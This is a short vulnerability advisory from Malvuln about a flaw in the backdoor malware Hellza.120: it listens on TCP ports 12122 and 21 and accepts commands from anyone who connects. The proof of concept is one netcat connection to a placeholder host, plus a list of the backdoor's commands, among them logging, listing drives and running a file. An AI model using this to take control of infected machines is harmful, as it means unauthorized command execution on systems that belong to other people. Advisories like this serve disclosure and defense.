Backdoor.Win32.Hellza.120 / Unauthorized Remote Command Execution

2022.09.20
us malvuln (US) us
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022 Original source: https://malvuln.com/advisory/2cbd0fcf4d5fd5fb6c8014390efb0b21.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Hellza.120 Vulnerability: Unauthorized Remote Command Execution Description: The malware listens on TCP ports 12122, 21. Third-party adversarys who can reach infected systems can issue commands made available by the backdoor. Family: Hellza Type: PE32 MD5: 2cbd0fcf4d5fd5fb6c8014390efb0b21 Vuln ID: MVID-2022-0641 Dropped files: msdllsrv.exe Disclosure: 09/19/2022 Exploit/PoC: C:\>nc64.exe x.x.x.x 12122 xrR_Server version:1.20 Beta R1.1 F (starts FTP if not running in case where the server was restarted) L (logger) L15_ *0.00 KB* D (drives) D 1C:\2D:\ E (run file) Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).


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